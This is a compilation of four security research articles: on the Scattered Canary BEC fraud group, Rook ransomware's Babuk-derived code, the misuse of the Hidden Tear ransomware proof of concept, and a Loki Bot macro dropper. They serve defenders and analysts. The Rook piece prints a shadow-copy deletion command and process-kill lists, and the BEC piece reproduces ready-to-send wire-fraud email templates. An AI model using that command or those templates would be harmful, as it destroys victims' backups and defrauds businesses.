As Scattered Canary’s business expanded, mostly through romance scams, Alpha saw the value of larger targets and met with the person who eventually became his co-conspirator and who we refer to as Beta. Once these two men joined forces, they would pivot away from targeting individuals to focus on enterprises. By all accounts, late 2015 was the beginning of BEC for Scattered Canary.
In mid-2015, Scattered Canary started moving away from “long con” social engineering attacks and toward more scalable—and ultimately more profitable—attack vectors. The first type of attack they pivoted to was credential phishing. Between July 2015 and February 2016, Scattered Canary’s primary focus seemed to be mass harvesting general credentials using a Google Docs phishing page. In the first few months of their credential phishing ventures, Scattered Canary’s sights were mostly set on Asian targets—Malaysia and Japan, in particular. In November 2015, the group started to focus on North American users, mostly in the United States.
This activity ceased in February 2016, likely because the men who made up Scattered Canary began to focus on honing their BEC skills. However, more than a year later in March 2017, they returned to the credential phishing game. This time, though, the group’s focus had clearly shifted away from individual users and toward corporate victims.
Instead of using fake Google Docs phishing pages to collect personal email login credentials, Scattered Canary began using phishing pages of commonly used business applications to compromise enterprise credentials. Key pages included ones that impersonated Adobe, DocuSign, and OneDrive. For over eighteen months from March 2017 until November 2018, Scattered Canary’s frequent enterprise-focused credential phishing campaigns almost exclusively targeted businesses in the United States and Canada. In total, Scattered Canary received more than 3,000 account credentials as a result of their phishing attacks.
Aside from credential phishing, Scattered Canary’s biggest evolution from individual targets to corporate users came in November 2015, when the group, like so many other West African cybercriminal groups, broke into the BEC space. In the early days of their BEC campaigns, Scattered Canary tested multiple different methods of crafting deceptive emails, including using different templates and impersonation tactics.
After a few months, the group settled on a tactic that they felt worked for them: directly spoofing target company domains and requesting a payment via wire transfer to a supposed vendor. Scattered Canary used this tactic of impersonating target domains until September 2016, when they switched to using obscure webmail accounts or email accounts linked to domains registered by the group themselves.
Until this point, Scattered Canary was made up of only Alpha working as an individual contributor on every scam, with a few tangential associates helping out from time to time. However, as he became more successful and transitioned into BEC, he looked to expand his numbers and the first new “employee” joined the group in October 2015—Beta. Beta’s primary role at the time, and what he continues to focus on today, has been to act as the “mule herder” for the group. In other words, Beta’s job is to identify and recruit individuals who are then used to receive the stolen proceeds of BEC attacks. Since 2015, Beta has relayed more than 150 mule accounts to Alpha—more than any other Scattered Canary group member by far. Over the years, Alpha has also relied on Beta to assist in other types of scams, most often handling the distribution of fake checks as part of mystery shopper scams. By all accounts, this is shockingly similar to how Omega used Alpha in the first few years of Scattered Canary’s existence.
Unfortunately for the enterprises being targeted, Beta was not the only new member to join the cybercriminal organization during this period of Scattered Canary’s rapid expansion. In total, 19 individuals joined the group in different capacities during this three-year period. Most of these new associates contributed to the group’s scams by providing a constantly fresh feed of new mule accounts to Alpha. Others came onboard to help facilitate other types of scams or build a more robust scamming infrastructure.
### 2017–Present: Becoming a Well-Oiled Machine
By 2017, Scattered Canary had business-critical tools and tactics in place and started to define functional roles across an ever-expanding array of revenue streams. Some group members were responsible for managing BEC campaigns, some for forging checks and money orders, and still others for harvesting stolen credit card numbers for use in various cons. Like any rapidly-growing company, Scattered Canary took infrastructure into consideration and quickly added Remote Desktop Protocol (RDP) servers to help them scale and coordinate operations. Meanwhile, the organization continued to market-test new approaches to defrauding a growing universe of victims.
Similar to how the group pivoted from individual victims to business targets during the previous three-year period, Scattered Canary again set their sights on a new type of target in 2017—government agencies. Using personal information obtained from various sources, Scattered Canary started perpetrating fraud against US federal and state government agencies. Notable targets include the ones listed here, among dozens of others.
Much of the fraudulent activity targeting government agencies has involved the use of a technique that takes advantage of a “feature” within Gmail accounts. Unlike most online services, Google does not recognize periods in email addresses. Instead, the email address [email protected] and [email protected] are both interpreted as the same address and route email sent to each of those addresses to the same account. Some cybercrime groups, including Scattered Canary, have exploited this feature by creating numerous “dot variant” accounts on a single website that then directs communications for all of those accounts to a single Gmail account. This allows scammers to scale their operations more effectively by removing the need to create and monitor a different email account for every account they create on a website.
Using this tactic, Scattered Canary facilitated a significant amount of fraudulent activity against government institutions, including the following:
- Filed 13 fraudulent tax returns with a single online tax service
- Applied for Texas state unemployment benefits under nine identities
- Submitted 12 change of address requests with the US Postal Service
- Submitted applications for FEMA disaster assistance under three identities
- Submitted 11 fraudulent Social Security benefit applications
In addition to the scams above, Scattered Canary also used this technique to submit at least 48 credit card applications at four US-based financial institutions, resulting in the approval of at least $65,000 in fraudulent credit.
While Scattered Canary’s targeting of government institutions demonstrates a notable evolution in their attacks, the group’s primary focus over the past few years has been continuing to improve their BEC phishing campaigns. In July 2018, following a trend we have observed across the entire BEC threat landscape, Scattered Canary changed their preferred cash out mechanism from wire transfers to gift cards. For five months, the group’s primary focus was to persuade employees to purchase Apple iTunes and Amazon gift cards based on a supposed request from their CEO.
Like other scammers involved in gift card BEC scams, Scattered Canary laundered the gift cards they received from victims through a peer-to-peer online cryptocurrency exchange called Paxful. In our previous report on the Nigerian cybercriminal group Scarlet Widow, we detailed the process by which stolen gift cards are converted into cash through a multi-step laundering process using Paxful and other online cryptocurrency marketplaces.
Over the five-month span that Scattered Canary focused on collecting gift cards in their BEC attacks, the group received at least 132 gift cards from victims, which netted them around two bitcoin once they were traded on Paxful. Based on the price range of bitcoin during this period, this translates to around $12,000 to $14,000 in profits. Interestingly, Scattered Canary abandoned gift cards as a BEC cash out method in November 2018, at the same time the price of bitcoin crashed.
After Scattered Canary moved on from gift card scams, they transitioned to another type of BEC attack: payroll diversion scams. In these types of scams, rather than socially engineering a finance employee to wire money to a “vendor” account, the scammer targets employees in a company’s human resources department to persuade them to change the direct deposit account associated with a high-level executive’s payroll information.
One of the reasons payroll diversion attacks have become a preferred BEC tactic for Scattered Canary—as well as quickly emerging trend we’ve seen across the entire BEC threat landscape—is because of the ability to use easily accessible prepaid debit cards to receive payroll direct deposits. These prepaid debit cards come with a corresponding bank account, and they’re much easier to set up. Rather than requiring a money mule to physically visit a bank branch to open an account, the mule can simply register for a prepaid card online with a less stringent application process and have a new card mailed directly to them. Combined with the fact that most prepaid cards do not require credit checks, it is easy to see why this has become a popular method for scammers.
This tactic, along with the introduction of a fairly new threat actor we’ve named Zeta, has allowed Scattered Canary to scale their payroll diversion schemes very quickly. Since late 2017, Zeta contributed the most prepaid card accounts to the group and has fed Alpha with more than 140 prepaid card numbers in the last eighteen months alone. Because of Scattered Canary’s focus and success on this type of BEC scam, Zeta has quickly become one of the most impactful associates in the group today. Overall, Scattered Canary’s membership has nearly doubled over the past two years, adding another 15 actors to help scale the group’s operations. While half of these new recruits came on board to harvest new BEC mule accounts, the other half were involved in other scams during this time, such as mystery shopper scams and tax return fraud. In total, 35 actors have been tied to Scattered Canary’s operations since the group emerged in 2008.
## Tools of the Trade: Anatomy of a BEC Scam
A core component of a business email compromise attack is the email itself, which is the starting point for all successful BEC scams. Just as with romance scams, actors make use of scripts and templates they can copy-and-paste without having to create something on their own. In the case of Scattered Canary, these formats can be forwarded as a one-off task to group operatives to send to targets, or they can be shared as a collection in phishing kits. The components of a successful BEC attack include the following.
### Leads, Leads, Leads
In order to succeed in their BEC attacks, Scattered Canary first needed to find targets. To do this, Scattered Canary, like other BEC criminal groups we’ve researched, uses online commercial lead generation services—the same ones legitimate sales and marketing teams use all over the world. Like any startup, though, Scattered Canary wanted to pinch pennies and save money.
One of the ways they did this was to use the Gmail dot variant account technique discussed earlier to sign up for a seven-day free trial period with a service like Lead411. The group would then use the service to retrieve as many target leads as possible in the one-week timeframe. Once the free trial ended, the group would let it lapse and then sign up for it again using the same email address—but with periods in different places in the registered email address. Scattered Canary did this a total of twenty times over a three-year period in order to maintain access to this lead generation service without paying a monthly subscription.
Once the group had a list of leads, often for the Chief Financial Officer or other top executive, and corresponding information for the CEO, they could then begin sending their malicious emails.
### BEC “Formats”
When it comes to engaging targets, Scattered Canary frequently maximized efficiencies through the use of scripts, or as some members of the group call them, “formats.” These formats are templated text documents that can contain several layers of phishing messages to send to potential victims. During our research into Scattered Canary, we identified a format containing 26 different message templates that could be used to target organizations in a variety of BEC scams, including direct deposit and W-2 fraud.
#### Messages
Hi,
Are you available in the office? There is an invoice due for payment. As [Name] and I discussed, the payment needs to be sent out today. Let me know when to send the recipient details. I will appreciate swift email correspondence.
Thanks
Sent from my iPhone
---
Hello,
Following our meeting and agreement to pay a sum of $47,710 for consultancy and services rendered to our Company, kindly help escalate for immediate payment to the account below;
Wiring Instruction
Bank Name:
Account Number:
Bank Code:
Swift Code:
Amount:
Credit To:
Br
Pls do the needful to ensure no interruption in service of the consultant.
Br//
VP Operations
---
Hi,
Are you available in the office? Can we send an outgoing wire payment today? Let me know when to send the recipient details. I will appreciate swift correspondence.
Thanks
### Bank Accounts to Transfer Funds
The next piece of the BEC puzzle Scattered Canary needed to solve was how to facilitate wire transfers from victims without exposing the group’s own accounts. Beta specializes in romance scams and was the first Scattered Canary member to start providing these bank account and routing numbers to Alpha.
By using social engineering, Alpha was able to convince organizations to send funds to romance victims. Once victims received the money, romance mule handlers would instruct them to wire the money elsewhere, eventually making its way back to the actors. If more accounts were needed, the mule handler would simply ask the victims to open another account for them, which is something Beta did with his victims.
### VPNs for (Hidden) VIPs
While some actors do not hide the fact that they are operating from Nigeria, others have tried to mask their true locations. Scattered Canary maintained subscriptions for several pieces of software to communicate with potential BEC, check fraud, and romance scam victims while remaining somewhat anonymous. To accomplish this, the group made use of VPN infrastructure and applications in order to make their traffic appear more legitimate.
### VOIP-Based Burner Phones
Over an eight-year period, Scattered Canary leveraged several methods for texting back and forth with victims. Three of the services the group used to engage with victims via SMS were TextMe, Google Voice, and Hushed. While TextMe and Google Voice allow for unlimited messaging, Hushed allows users to set up multiple phone numbers for voice and messaging from the city or country of their choice—a useful tactic for engaging with romance scam victims who believed that the person they were communicating with was located in a specific place. Furthermore, the service allows users to switch to a new number whenever they wished. During our analysis, we were able to identify ten Hushed phone numbers that Scattered Canary used to engage with victims, as well as other threat actors and cybercrime groups. Of the ten Hushed phone numbers we identified, four were based in the United Kingdom. The remaining six were based in the United States, with two in Alabama, and one each in Hawaii, Illinois, Connecticut, and Arkansas.
It is important to note that while Scattered Canary used Google Voice in romance scams spanning four years, the same phone number was used in a host of other schemes as well. Starting in late 2017, for instance, the actor listed it as a call-back number in fraudulent applications for Hurricane Harvey disaster recovery assistance, home mortgage assistance, online loan applications, staffing agency services, and more. The point remains—few scams exist without a connection to one or more others run by the same criminal organization.
## Conclusion: Where Do We Go From Here?
When BEC first exploded in 2015, little was known about its origins or how it may relate to other types of fraud. In order to effectively defeat BEC and the threat actors behind it, it is critically important that we step back and look at the bigger picture—regardless of how big that picture may be.
With BEC overlapping with dozens of other types of scams—ranging from credit card and check fraud to romance scams to W-2 and payroll diversion schemes—approaching BEC as a singular problem will not lead to success. Instead, it will only result in a frustrating game of digital whack-a-mole, with no real success in finding and persecuting the actors responsible for it.
If Scattered Canary can be seen as a microcosm for the rapidly evolving organizations behind today’s most pernicious email scams, this report demonstrates that a much more holistic approach—one based on threat actor identity rather than type of fraudulent activity—is required to detect email fraud and protect organizations. This fight is not just about business email compromise. It is about all types of fraud, no matter the form it takes today—or tomorrow. |
# New Rook Ransomware Feeds Off the Code of Babuk
By Jim Walter and Niranjan Jayanand
First noticed on VirusTotal on November 26th by researcher Zack Allen, Rook Ransomware initially attracted attention for the operators’ rather unorthodox self-introduction, which stated that “We desperately need a lot of money” and “We will stare at the internet”. These odd pronouncements prompted some mirth on social media, but they were followed a few days later by more serious news. On November 30th, Rook claimed its first victim: a Kazakh financial institution from which the Rook operators had stolen 1123 GB of data, according to the gang’s victim website. Further victims have been claimed since then. In this post, we offer the first technical write-up of the Rook ransomware family, covering both its main high-level features and its ties to the Babuk codebase.
## Technical Details
Rook ransomware is primarily delivered via a third-party framework, for example, Cobalt Strike; however, delivery via phishing email has also been reported in the wild. Individual samples are typically UPX packed, although alternate packers/crypters have been observed such as VMProtect.
Upon execution, Rook samples pop a command window, with differing output displayed. For example, some versions show the output path for `kph.sys` (a component of Process Hacker), while others display inaccurate information around the use of ADS (Alternate Data Streams).
The ransomware attempts to terminate any process that may interfere with encryption. Interestingly, we see the `kph.sys` driver from Process Hacker come into play in process termination in some cases but not others. This likely reflects the attacker’s need to leverage the driver to disable certain local security solutions on specific engagements.
There are numerous process names, service names, and folder names included in each sample’s configuration. For example, in sample `19CE538B2597DA454ABF835CFF676C28B8EB66F7`, the following processes, services, and folders are excluded from the encryption process:
**Processes names skipped:**
- sql.exe
- oracle.exe
- ocssd.exe
- dbsnmp.exe
- visio.exe
- winword.exe
- wordpad.exe
- notepad.exe
- excel.exe
- onenote.exe
- outlook.exe
- synctime.exe
- agntsvc.exe
- isqlplussvc.exe
- xfssvccon.exe
- mydesktopservice.exe
- ocautoupds.exe
- encsvc.exe
- firefox.exe
- tbirdconfig.exe
- mydesktopqos.exe
- ocomm.exe
- dbeng50.exe
- sqbcoreservice.exe
- infopath.exe
- msaccess.exe
- mspub.exe
- powerpnt.exe
- steam.exe
- thebat.exe
- thunderbird.exe
**Service names terminated:**
- memtas
- mepocs
- veeam
- backup
- GxVss
- GxBlr
- GxFWD
- GxCVD
- GxCIMgr
- DefWatch
- ccEvtMgr
- ccSetMgr
- SavRoam
- RTVscan
- QBFCService
- QBIDPService
- Intuit.QuickBooks.FCS
- QBCFMonitorService
- AcrSch2Svc
- AcronisAgent
- CASAD2DWebSvc
- CAARCUpdateSvc
**Folders names skipped:**
- Program Files
- Program Files (x86)
- AppData
- Windows
- Windows.old
- Tor Browser
- Internet Explorer
- Google
- Opera
- Opera Software
- Mozilla
**File names skipped:**
- autorun.inf
- boot.ini
- bootfont.bin
- bootsect.bak
- bootmgr
- bootmgr.efi
- bootmgfw.efi
- desktop.ini
- iconcache.db
- ntldr
- ntuser.dat
- ntuser.dat.log
- ntuser.ini
- thumbs.db
As with most modern ransomware families, Rook will also attempt to delete volume shadow copies to prevent victims from restoring from backup. This is achieved via `vssadmin.exe`. The following syntax is used:
```
vssadmin.exe delete shadows /all /quiet
```
Early variants of Rook were reported to have used a `.TOWER` extension. All current variants seen by SentinelLabs use the `.ROOK` extension.
In the samples we analyzed, no persistence mechanisms were observed, and after the malware runs through its execution, it cleans up by deleting itself.
## Babuk Overlaps
There are a number of code similarities between Rook and Babuk. Based on the samples available so far, this appears to be an opportunistic result of the various Babuk source-code leaks we have seen over 2021, including leaks of both the compiled builders as well as the actual source. On this basis, we surmise that Rook is just the latest example of an apparent novel ransomware capitalizing on the ready availability of Babuk source-code.
Babuk and Rook use `EnumDependentServicesA` API to retrieve the name and status of each service that depends on the specified service before terminating. They enumerate all services in the system and stop all of those which exist in a hardcoded list in the malware. Using `OpenSCManagerA` API, the code gets the Service Control Manager, gets the handle, and then enumerates all services in the system.
In addition, both Rook and Babuk use the functions `CreateToolhelp32Snapshot`, `Process32FirstW`, `Process32NextW`, `OpenProcess`, and `TerminateProcess` to enumerate running processes and kill any found to match those in a hardcoded list. Also similar is the use of the Windows Restart Manager API to aid with process termination, which includes processes related to MS Office products and the popular gaming platform Steam.
We also noted overlap with regards to some of the environmental checks and subsequent behaviors, including the removal of Volume Shadow Copies. Both Babuk and Rook check if the sample is executed in a 64-bit OS, then delete the shadow volumes of the user machine. The code flows to `Wow64DisableWow64FsRedirection` to disable file system redirection before calling `ShellExecuteW` to delete shadow copies.
Babuk and Rook implement similar code for enumerating local drives. Rook checks for the local drives alphabetically.
## The Rook Victim Website
Like other recent ransomware varieties, Rook embraces a dual-pronged extortion approach: an initial demand for payment to unlock encrypted files, followed by public threats via the operators’ website to leak exfiltrated data should the victim fail to comply with the ransom demand. This TOR-based site is used to name victims and host any data should the victim decide not to cooperate. Rook also uses the site to openly boast of having the “latest vulnerability database” and “we can always penetrate the target system” as well as their desire for success: “We desperately need a lot of money”. These statements appear under the heading of “why us?” and could be intended to attract affiliates as well as convince victims that they mean business.
At the time of writing, three companies have been listed on the Rook blog, spanning different industries.
## Conclusion
Given the economics of ransomware – high reward for low risk – and the ready availability of source code from leaks like Babuk, it’s inevitable that the proliferation of new ransomware groups we’re seeing now is only going to continue. Rook may be here today and gone tomorrow, or it could stick around until the actors behind it decide they’ve had enough (or made enough), but what is certain is that Rook won’t be the last malware we see feeding off the leaked Babuk code.
Add that to the incentive provided by recent vulnerabilities such as log4j2 that can allow initial access without great technical skill, and enterprise security teams have a recipe for a busy year ahead. Prevention is critical, along with well-documented and tested DRP and BCP procedures. All SentinelOne customers are protected from Rook ransomware.
## Indicators of Compromise
**SHA1**
- 104d9e31e34ba8517f701552594f1fc167550964
- 19ce538b2597da454abf835cff676c28b8eb66f7
- 36de7997949ac3b9b456023fb072b9a8cd84ade8
**SHA256**
- f87be226e26e873275bde549539f70210ffe5e3a129448ae807a319cbdcf7789
- c2d46d256b8f9490c9599eea11ecef19fde7d4fdd2dea93604cee3cea8e172ac
- 96f7df1c984c1753289600f7f373f3a98a4f09f82acc1be8ecfd5790763a355b
**MITRE ATT&CK**
- T1027.002 – Obfuscated Files or Information: Software Packing
- T1007 – System Service Discovery
- T1059 – Command and Scripting Interpreter
- TA0010 – Exfiltration
- T1082 – System Information Discovery
- T1490 – Inhibit System Recovery |
# Hidden Tear Project: Forbidden Fruit Is the Sweetest
The scourge of ransomware is by far today’s biggest computer security concern. By stepping into the crypto realm, cybercrooks have thrown down the gantlet to antivirus labs around the globe that are still mostly helpless in the face of this challenge.
While many experts have been busy reverse-engineering obtained ransomware samples and posting complex flowcharts to demonstrate their modus operandi, a Turkish programmer named Utku Sen made a very bold but questionable move. Not only did he write code for a viable ransomware as a proof-of-concept, but he also made it publicly available on his GitHub page in mid-August 2015. The project, dubbed Hidden Tear, happens to be entirely open-source. To the author’s credit, he added a disclaimer emphasizing the strictly educational goals of the initiative. This notice, predictably enough, didn’t stop threat actors from taking advantage of the code in the worst way imaginable. Since anyone with basic programming skills can use it to launch an extortion campaign of their own, the initially benign project resulted in the emergence of numerous real-world crypto Trojans with minor tweaks.
## HIDDEN TEAR 101
Utku Sen’s proof-of-concept uses AES encryption to encode files located inside ‘\test’ directory on the infected system’s Desktop. The above acronym stands for Advanced Encryption Standard. Originally known as Rijndael, this algorithm is symmetric, which means that the encryption and decryption keys are identical. The key can be 128-, 192-, or 256-bits long. Ideally, either degree of entropy suffices to make brute-forcing virtually inefficient and keep a victim’s files hostage.
The ransomware transmits the key to a remote server so that it’s only available to the operator. To recover data, the infected person needs to have a specially crafted decryption program and the secret key at their disposal. These two prerequisites are the objects of negotiation, or rather, a bargain between the perpetrator and the user. The Trojan creates a document with detailed recovery instructions and relevant hyperlinks on the Desktop. Owing to a lightweight payload of only 12 KB, the infection is easy to distribute through phishing emails that contain a booby-trapped attachment. Furthermore, Hidden Tear boasts antivirus evasion techniques that allow it to fly under the radar of popular AV engines. Extensive flexibility of the code makes it trivial for anybody interested to devise a custom variant of the program. The researcher also made a short video demonstrating his brainchild in action.
In a post published on his blog in late November, Sen explained his genuine motivations and responded to criticism regarding his project. In particular, he admitted that the abuse of Hidden Tear by script kiddies or other parties was a foreseeable but undesirable consequence. This is why the author deliberately incorporated a security flaw into the code, effectively turning it into a honeypot for likely offenders. According to the researcher, the decryption key can be retrieved from the timestamp of an arbitrary ciphered file and the amount of time elapsed since the operating system launched. Once these values have been obtained via GetLastWriteTime method and Environment.TickCount property, all that’s left to do is put two and two together. For the average computer expert, this shouldn’t pose a difficulty.
## REAL-WORLD ABUSE INCIDENTS
The evolution of crypto malware gave birth to a new phenomenon known as Ransomware as a Service (RaaS). It denotes an affiliate framework where some criminals do the programming part and others distribute the readily available infection. Meanwhile, the latter have to share 20-25 percent of their revenue with the developer. No wonder the wannabe extortionists became interested in Utku Sen’s project, which was completely free to use. Scoundrels reportedly ended up coining more than 20 standalone strains based on Hidden Tear. In particular, the source code came in handy to the black hats responsible for the following notorious ransomware families:
1. **Encoder** is the first-ever ransom Trojan that targets Linux-based web servers. It surfaced at the beginning of November 2015. Luckily, this edition had a critical flaw that allowed researchers from Bitdefender to crack the crypto and obtain the AES key from the timestamp of any encoded file. And yet, this sample was revolutionary because never before had Linux undergone ransomware attacks.
2. Discovered by Trend Micro mid-January 2016, **B** turned out to be another incarnation of Hidden Tear. The distributor of this ransomware appears to operate in Brazil. The ransom instructions are written in Portuguese, and the racketeer demands the Brazilian currency equivalent of US$500 for decryption. Ultimately, Utku Sen was able to help the infected users since the sample was backdoored. Interestingly enough, the scammer never configured the Trojan to send the AES keys to a C&C server or simply save them anywhere. This means that victims had no chances to get their data back even if they paid the ransom.
3. **Magic Ransomware** is the most recent spin-off first spotted in late January this year. Unlike the earlier copycats, this one is based on EDA2, another POC created by Utku Sen. The malware appends .magic extension to filenames and extorts 1 Bitcoin for data restoration. For a number of reasons, which will be highlighted in the next section of this article, the whole campaign turned out an epic fail.
4. More than a dozen samples representing the Trojan-Ransom.MSIL.Tear family were found to also utilize Hidden Tear code. As per the in-depth analysis, however, these are script kiddies’ experiments rather than professional ransomware plagues. Some of them, including Trojan-Ransom.MSIL.Tear.r and Trojan-Ransom.MSIL.Tear.t, sent AES keys to example.com domain, which the attackers configured as their Command and Control server. Obviously, the victims’ data vanished for good.
## HIDDEN TEAR AUTHOR BLACKMAILED
The aforementioned Magic Ransomware case went terribly wrong. It was built with Sen’s open-source EDA2 code. The researcher expected he could harness vulnerabilities in the control script to access the database of decryption keys. However, it turned out that the crooks behind the actual Trojan were using a C&C server located on a free hosting service. Someone submitted a complaint, which resulted in the takedown of the malicious Command and Control. The programmer was, therefore, unable to retrieve the database even with his pre-injected backdoor.
What happened next was unexpected for everyone involved. Distributors of the Magic virus joined the discussion of their ransomware on a popular security forum. They asked Utku Sen to remove the source code for his projects from GitHub and send them 3 Bitcoins. If these demands were met, the criminals promised they would assist everyone infected in data recovery for free. At the end of the day, Sen abandoned Hidden Tear and EDA2, making both unavailable to the public. The hackers, in their turn, provided decryption details to the victims who asked for help. It’s unclear why exactly the perpetrators did this, but the infected users got their files back, which is a win.
## RECAP
Utku Sen’s original motivations were to demonstrate researchers the ins and outs of how ransomware works. He also adopted measures to mitigate possible damage by injecting backdoors into his code. However, the emergence of Hidden Tear caused a spike in ransomware incidents. Providing a fully functional free extortion tool and expecting it to never go beyond the educational framework is wishful thinking.
Now that Hidden Tear is no longer available on official resources, there’s no guarantee that interested parties will discontinue using it in new rip-off campaigns. It’s naive to believe that cybercriminals failed to make and distribute copies of the code. Meanwhile, security professionals should think twice before publishing similar POCs. Even with backdoors under the hood, they may get out of hand.
---
**About the Author:** David Balaban is a computer security researcher with over 10 years of experience in malware analysis and antivirus software evaluation. David runs the Privacy-PC.com project which presents expert opinions on contemporary information security matters, including social engineering, penetration testing, threat intelligence, online privacy, and white hat hacking. As part of his work at Privacy-PC, Mr. Balaban has interviewed such security celebrities as Dave Kennedy, Jay Jacobs, and Robert David Steele to get firsthand perspectives on hot InfoSec issues. David has a strong malware troubleshooting background, with the recent focus on ransomware countermeasures. |
# Nefarious Macro Malware Drops “Loki Bot” to Steal Sensitive Information Across GCC Countries
Macro malware are still playing their atrocious activities in the wild, frightening all sectors around the globe. The latest spam campaign that flew around GCC countries created a “scary rain” across multiple entities. This spam mail was not targeted only at a particular entity, but extensively across multiple firms in the Middle East, anticipating a huge number of victims. On the other hand, the recipients in these mails (BCC) were clearly social engineered.
**NB:**
The malware and associated files were analyzed within a private secured environment, without actually allowing it to communicate with its command and control. While analyzing, we may come across unhygienic words or phrases. Keep in mind that malware is built by “Bad Boys”.
## Let’s Get Serious
The spam mail which landed in one of the victim’s mailboxes looks like this: The sender address could be spoofed, which is the contact email ID of the Cambodia-based business software provider firm “tztechnology.” The reputation of the sender IP address is poor.
The attachment was a document file, and once it is opened, the prompt for enabling the macro starts blinking. Still, end users are falling for these... sad truth! The Word document properties show the revamped or created date as “Jan 19th 2017.”
Jumping into the Document Macro, it starts with “Document_Open()”, meaning the code will be executed whenever the document is opened. The VBScript contains a lot of junk and unwanted parameters, which would make static analysis choke. Also, parameters inside the code seem to be encoded heavily. So at this point, a mixture of static analysis and debugging needs to be done.
When we statically analyze, we can see two modules of code present in the document. Both modules work together to build a command script and then run this script via the Windows Script Object. Further debugging and static analysis found that one of the variables “Catcustom” stores the command script which was built by the macro on the fly.
The generated code looks like this (after enumeration of the temp folder): The below snippet of code reference is the “bridge of relationship” between two modules of scripts. The earlier mentioned variable “Catcustom,” which contained the commands, was used as a parameter of another function, which is then referenced to the second module “Module1.” The referenced function parameters “gfsdhwawcbenlte()” now contain the value of the “Catcustom” variable and “0.”
Furthermore, coming down to the script in the second module “Module1,” we can see the malicious script was invoked by calling the Windows Script Shell object. Now the question is how we understood from this code above that it invoked the Windows Script Shell (with a hidden window) to run the malicious code which was earlier generated.
If we closely look at the above snippet of code, the function is getting the “new object” by joining flathazard(0), flathazard(1), and flathazard(2) to get: new:{72C24DD5-D70A-438B-8A42-98424B88AFB8}. Now if we go to the registry “HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8},” this ID refers to the Windows Script Shell object. Meaning, the function is calling a new Windows Script Shell object instance to run the malicious commands in “whjrdrumawmwul.”
We can also see “whjrdrumawmwul” contains the value of the generated script. The “ezwrelgtrpuwlj” contains the value “0.” That said, let’s see the syntax for the .Run command in VB:
```
Objshell.Run (strCommand, [intWindowStyle], [bWaitOnReturn])
```
“Objshell,” we already found how the shell object was invoked, and we saw “strCommand” value in the variable “whjrdrumawmwul.” Now “ezwrelgtrpuwlj” holds the value “0,” which means the “hide window.” The “bWaitOnReturn” if left blank immediately returns to script execution. Hence we found that the below code was executed by invoking the Windows Script Shell object and being executed in a hidden window.
We can also see that PowerShell is invoked in hidden mode, bypassing execution policy to download a malicious executable from a remote host, which is then renamed to “puttyx86.” The addition of this temp path of the malicious executable to the above registry and then invoking the “eventvwr.exe” is a technique to bypass the UAC feature in order to acquire the highest integrity for executing the malware.
The above fileless technique of bypassing UAC has already been explained in my post of a real-life scenario.
Let’s find whether the above findings are true by doing a dynamic analysis: As we discussed earlier, the Windows Script Shell object is invoked via the registry with Class ID. Next, the “cmd.exe” has the entire script running under it.
As it step by step runs the commands in cmd.exe, PowerShell is invoked with the script to download the malware from a remote host and save it to the temp folder as “puttyx86.exe.”
## Glitch While Acquiring Highest Integrity via Eventvwr.exe
In our sample, there happened a small glitch while the script was trying to write the malware path to “HKCU\\Software\\Classes\\mscfile\\shell\\open\\command” registry to be executed via eventvwr.exe. It may be due to extra slashes because when I tweaked commands from “\\” to “\” the registry write was successful. Due to the glitch, the original eventvwr.msc popped up instead of malware when the macro was executed, quite unlucky.
However, even though the script couldn’t invoke malware via the “eventvwr” technique, after a 15 PING-sleep (using the Ping command 15 times redirecting to nul), the malware in the temp folder was directly invoked. This made the malware run with medium integrity. Once the “puttyx86.exe” is executed normally, it spawns a child of its own and kills the parent process. It also managed to delete the executable from the path. Then if we see the handles for the child process, it acquired full access for each thread. The malware must have its own elevation feature.
The dropped malware seems to be protected by the infamous “ASProtect” executable protection; the header of the file also throws the acknowledgment with bogus section names. After a tug of war between the malware using static code analysis and debugging, it was found that the piece of malware was the infamous “Loki Bot.”
“Loki Bot” is a resident loader and password and cryptocurrency wallet stealer. It comes with a wallet checker (coin inspector). It can steal passwords from browsers, FTP/SSH, e-mail, and poker clients. Written in C++, it works on Windows XP, Vista, 7, 8, 8.1, and Linux. UAC Bypass.
The dropped malware had most of the anti-analysis capabilities like VM awareness, debugger detection, system time check, and more. Carefully tweaking these will make the malware run as if in a physical machine. If we try to see the strings of malware without unpacking from the ASProtect protection mechanism, we will not get any “sweet fruit.” But after debugging and disassembling, we will get a good amount of data about the malware which is obviously fruitful.
That said, I was able to retrieve and filter very useful data about the malware which gives enough evidence about the above-said malware. The capability of this malware is enormous and even has the capability of receiving the Bot commands from “BOT Boss.” The malware has capabilities for luring all the FTP flavored credentials, SMTP, browser data, DB information, has inbuilt keylogger features, and much more.
In addition to that, the malware gets the details about the current user, machine name, FQDN, MachineGuid, and so on. A hardcoded URL was very promising though, suspecting the above collected details and this URL must have some connection.
If we see the network traffic generated by the malware, we can see promising “Post” traffic to the above found hardcoded URL. All the communication and analysis were done in a completely isolated environment without actually allowing the malware to communicate with actual CNC servers and DNS. The malware, after acquiring enough details such as username, machine name, FQDN, and lots of stolen data from the victim machine, would then try to communicate with the command and control server.
The user agent “Mozilla/4.08 (Charon; Inferno)” used has been infamous as it was used in other Fareit Trojan or PonyLoader. At this point, Loki exhibits similar behavior.
The host name seems to be parked at “185.29.10.252,” which is a Latvia-based IP that is malicious. The relation between the IP address, host with hash can be seen below: Emerging threats have already written rules comprising the malicious user agent.
Let’s move the spotlight to the string “ckav.ru” in the stream above shown. From an initial glance, we can suspect it might be a Russian-based malicious website. Even though the domain exists privately, I could not find any clear context with the sample we are analyzing.
Anticipating if I can get any clue from the unpacked sample strings, I was able to find the missing characters and confirmed it was the URL of a Russian underground forum. When we do a blind search with this URL and suspecting Loki Bot, we will get very promising results. This Bot is being sold in a Russian underground forum. If we see into this website, there are a lot of other tools which one can register and join the group. After successfully registering, we should connect with an already registered account with Jabber and then have to link. Once this is completed, anyone can download or share any tools or techniques.
**Really Scary!!**
Some more deep searches give more results about the Bot, even advertisements about the same. The features described in this Russian forum match with our findings earlier. Even the features, payment details, and contact details are published with it!
With an embarrassed mind, let me conclude... Are we in a digitally connected world? If the answer is yes, then obviously malware is the biggest nightmare for all entities, irrespective of their geographical location or nature of business. In this era of cyber war, phishing e-mails with targeted macro malware are exponentially circulated by offenders across the globe. Of course, the easiest weakness spotted by offenders is “human weakness.”
Anyways, offenders will stay fingers crossed, whether the end user “allows” himself to respond to these malicious attachments or simply “drops” the plan. As a cautionary note, as we saw in this article, hack advises, hire a hacker, malware, hack tools, and anything is now easily available everywhere on the Internet and abundant in the deepest corners of the web. This is very scary, right? So a rigid security posture should be maintained by all entities to defend against these types of threats.
